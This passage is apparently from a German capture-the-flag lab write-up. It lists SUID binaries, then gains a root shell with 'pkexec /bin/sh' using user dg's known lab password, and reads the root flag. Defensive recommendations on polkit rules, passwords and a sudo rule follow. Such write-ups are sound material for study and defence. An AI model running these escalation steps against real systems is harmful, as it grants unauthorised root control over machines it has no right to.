35322 16 -rwsr-xr-x 1 root root 14768 Mar 4 2015 /usr/lib/policykit-1/polkit-agent-helper-1 1626 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device 145244 304 -rwsr-xr-- 1 root messagebus 310800 Nov 25 2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 147953 432 -rwsr-xr-x 1 root root 440416 May 12 2014 /usr/lib/openssh/ssh-keysign 2257 12 -rwsr-xr-x 1 root root 10344 Feb 25 2015 /usr/lib/pt_chown 34835 20 -rwsr-sr-x 1 libuuid libuuid 18904 Aug 5 2015 /usr/sbin/uuidd 34573 340 -rwsr-xr-- 1 root dip 347296 Apr 21 2015 /usr/sbin/pppd 1430 48 -rwsr-xr-x 1 root root 47032 Jul 15 2015 /usr/bin/passwd 34188 24 -rwsr-xr-x 1 root root 23104 May 7 2014 /usr/bin/traceroute6.iputils 34482 76 -rwsr-xr-x 1 root root 75256 Oct 21 2013 /usr/bin/mtr 1536 152 -rwsr-xr-x 1 root root 155008 Mar 12 2015 /usr/bin/sudo 1275 48 -rwsr-xr-x 1 root root 46424 Jul 15 2015 /usr/bin/chfn 1349 68 -rwsr-xr-x 1 root root 68152 Jul 15 2015 /usr/bin/gpasswd 1418 32 -rwsr-xr-x 1 root root 32464 Jul 15 2015 /usr/bin/newgrp 34720 52 -rwsr-sr-x 1 daemon daemon 51464 Oct 21 2013 /usr/bin/at 1278 44 -rwsr-xr-x 1 root root 41336 Jul 15 2015 /usr/bin/chsh 35325 24 -rwsr-xr-x 1 root root 23304 Mar 4 2015 /usr/bin/pkexec <-- Target 31889 32 -rwsr-xr-x 1 root root 30800 May 15 2015 /bin/fusermount 109 40 -rwsr-xr-x 1 root root 36936 Jul 15 2015 /bin/su 89 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 117 68 -rwsr-xr-x 1 root root 69120 Aug 5 2015 /bin/umount 76 96 -rwsr-xr-x 1 root root 94792 Aug 5 2015 /bin/mount 90 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
Analyse: Der Befehl `pkexec /bin/sh` wird ausgeführt. Es erscheint eine Passwortabfrage für Benutzer `dg` (Dave Gahan).
Bewertung: `pkexec` versucht, den Befehl `/bin/sh` als `root` auszuführen und benötigt dafür die Authentifizierung des aufrufenden Benutzers (`dg`). Da das Passwort (`policyoftruth`) bekannt ist, kann es hier eingegeben werden. Nach erfolgreicher Authentifizierung wird `/bin/sh` als Root gestartet. Der `id`-Befehl bestätigt `uid=0(root)`.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausführen von `pkexec` und Eingabe des Benutzerpassworts wurden Root-Rechte erlangt.
Empfehlung (Offensiv): Root-Rechte nutzen.
Empfehlung (Defensiv): Sicherstellen, dass Benutzer keine unnötigen Programme über `pkexec` ausführen können (Polkit-Regeln). Starke Benutzerpasswörter erzwingen. Polkit patchen, falls PwnKit-Exploit möglich wäre (obwohl hier nicht genutzt). Die unsichere `sudo`-Regel für `dg` beheben!
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: Dave Gahan,,, (dg)
Password: policyoftruth
==== AUTHENTICATION COMPLETE ===
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: In diesem spezifischen Szenario ist die "Schwachstelle" nicht `pkexec` selbst (obwohl ältere Versionen PwnKit-anfällig sind), sondern die Tatsache, dass der Benutzer `dg` über das Wissen seines eigenen Passworts und die Standard-Polkit-Konfiguration `pkexec` nutzen kann, um Befehle als Root auszuführen. Der eigentlich gravierendere, aber ungenutzte Vektor war die `sudo`-Regel.
Ziel des POC: Nachweis, dass der Benutzer `dg` durch authentifizierte Nutzung von `pkexec` eine Root-Shell erlangen kann.
Voraussetzungen: Zugriff auf das System als Benutzer `dg`. Kenntnis des Passworts für `dg`. Standardmäßige Polkit-Konfiguration, die authentifizierte Ausführung von Befehlen als Root erlaubt.
Analyse: Die `find`-Suche nach SUID-Dateien identifizierte `/usr/bin/pkexec` als SUID-root-Programm.
Analyse: Der Befehl `pkexec /bin/sh` wird als Benutzer `dg` ausgeführt.
Bewertung: Polkit (`pkexec`) fordert zur Authentifizierung das Passwort des aufrufenden Benutzers (`dg`) an. Nach Eingabe des korrekten Passworts (`policyoftruth`) führt `pkexec` den angeforderten Befehl (`/bin/sh`) mit Root-Privilegien aus.
Ergebnis des POC: Die legitime, aber im Kontext des Pentests zur Eskalation genutzte Funktionalität von `pkexec` ermöglichte dem Benutzer `dg` das Erlangen einer Root-Shell.
Risikobewertung: Mittel (abhängig von der Passwortstärke und Polkit-Konfiguration). Die eigentliche kritische Schwachstelle war die ungenutzte `sudo`-Regel.
Empfehlung (Defensiv): Polkit-Regeln überprüfen und ggf. einschränken, welche Benutzer welche Aktionen über `pkexec` ausführen dürfen. Starke Passwörter erzwingen. Die unsichere `sudo`-Regel für `dg` beheben.
Analyse: Nach Erlangung der Root-Rechte wird das Root-Home-Verzeichnis (`/root`) aufgelistet und die Datei `flag.txt` gelesen.
Bewertung: Die `flag.txt` enthält einen Text mit Bezug zum Foghorn Leghorn-Thema. Dies ist die Root-Flag.
/root
flag.txt
I say... I say... I say boy! Pumping for oil or something...? Foghorn Leghorn "A Broken Leghorn" 1950 (C) W.B.(Der obige Text ist die Flag)
Analyse: Im bereitgestellten Text wird keine `user.txt` gesucht oder gefunden.
Bewertung: Es gibt anscheinend keine separate User-Flag auf diesem Pfad.